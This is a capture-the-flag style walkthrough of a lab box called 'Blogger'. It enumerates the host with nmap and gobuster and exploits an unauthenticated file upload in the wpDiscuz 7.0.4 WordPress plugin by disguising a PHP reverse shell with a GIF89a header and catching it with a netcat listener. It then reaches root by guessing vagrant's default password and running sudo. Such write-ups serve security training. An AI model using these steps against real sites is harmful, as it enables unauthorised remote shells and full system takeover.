Blogger - Walkthrough
Summary
In this guide we will exploit an arbitary file upload in the wpDiscuz version 7.0.4 plugin and obtain root access with a simple and straightforward method of privilege escalation.
Enumeration
We begin the enumeration process with an nmap scan.
1
2
3
4
5
6
7
8
9
10
11
12
┌──(kali㉿kali)-[~]
└─$ nmap 192.168.120.183
Starting Nmap 7.92 ( https://nmap.org ) at 2022-08-05 04:19 MST
Nmap scan report for 192.168.120.183
Host is up (0.11s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 23.40 seconds
We see ports 22 and 80 open on the target.
Navigating to port 80 we see the following static webpage.
Home
Turning our attention to content discovery, we bruteforce directories with gobuster.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
┌──(kali㉿kali)-[~]
└─$ gobuster dir -u http://192.168.120.183/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.120.183/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2022/08/04 07:37:35 Starting gobuster in directory enumeration mode
===============================================================
/images (Status: 301) [Size: 319] [--> http://192.168.120.183/images/]
/assets (Status: 301) [Size: 319] [--> http://192.168.120.183/assets/]
/css (Status: 301) [Size: 316] [--> http://192.168.120.183/css/]
/js (Status: 301) [Size: 315] [--> http://192.168.120.183/js/]
Navigating to the assets directory, we find a blog directory in the assets/fonts path which reveals a wordpress site.
wp
During our enumeration we skim through the source code of any blog post and see that the site uses the wpDiscuz version 7.0.4 plugin.
1
2
3
4
5
6
7
8
9
10
11
12
┌──(kali㉿kali)-[~]
└─$ curl http://blogger.pg/assets/fonts/blog/?p=29
<!DOCTYPE html>
<html lang="en-US">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="profile" href="http://gmpg.org/xfn/11">
<link rel="pingback" href="http://blogger.pg/assets/fonts/blog/xmlrpc.php">
......
<link rel='stylesheet' id='wpdiscuz-frontend-css-css' href='http://blogger.pg/assets/fonts/blog/wp-content/plugins/wpdiscuz/themes/default/style.css?ver=7.0.4' type='text/css' media='all' />
After researching the wpDiscuz version 7.0.4 plugin we see that it is vulnerable to an Unauthenticated Arbitrary File Upload.
Navigating to the comment section of any blog post, we see an upload form that accepts images.
comment section
As the comment section includes an upload form for images, we can attempt to upload a reverse shell in the GIF89a format, as it is common for any image upload functionality to allow GIFs as well.
We begin by grabbing a copy of a reverse shell to upload to the target, we will use the php-reverse-shell.php installed on kali by default.
1
2
┌──(kali㉿kali)-[~/blogger]
└─$ cp /usr/share/webshells/php/php-reverse-shell.php .
We can add GIF89a; to the beginning of our php-reverse-shell to bypass any filters.
1
2
3
4
5
GIF89a;
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
...
Next, we set up up a listener on our attack machine.
1
2
3
┌──(kali㉿kali)-[~]
└─$ sudo nc -lvnp 443
listening on [any] 443 ...
Now we navigate to the comment section of any blog post, and attach our php-reverse-shell.php and fill in the necessary forms before submitting.
upload
We receive a response in our listener and stabilize our shell by spawning a python3 shell.
1
2
3
4
5
6
7
8
9
10
11
12
┌──(kali㉿kali)-[~]
└─$ sudo nc -lvnp 443
listening on [any] 443 ...
connect to [192.168.118.4] from (UNKNOWN) [192.168.120.150] 42538
Linux ubuntu-xenial 4.4.0-206-generic #238-Ubuntu SMP Tue Mar 16 07:52:37 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
15:39:15 up 58 min, 1 user, load average: 0.04, 0.04, 0.01
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
root tty1 14:41 57:54 0.05s 0.03s -bash
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@ubuntu-xenial:/$
Privilege Escalation
In the /home directory, we see the users james,ubuntu and vagrant.
1
2
3
www-data@ubuntu-xenial:/home$ ls
ls
james ubuntu vagrant
We can guess the credentials of the user vagrant as vagrant:vagrant.
1
2
3
4
www-data@ubuntu-xenial:/$ su vagrant
su vagrant
Password: vagrant
vagrant@ubuntu-xenial:/$
Running the “sudo -l” command reveals that the user vagrant is permitted to run all commands.
1
2
3
4
5
6
7
8
9
vagrant@ubuntu-xenial:/$ sudo -l
sudo -l
Matching Defaults entries for vagrant on ubuntu-xenial:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User vagrant may run the following commands on ubuntu-xenial:
(ALL) NOPASSWD: ALL
We can achieve root access by using sudo su.
1
2
3
4
5
vagrant@ubuntu-xenial:/$ sudo su
sudo su
root@ubuntu-xenial:/# id
id
uid=0(root) gid=0(root) groups=0(root)



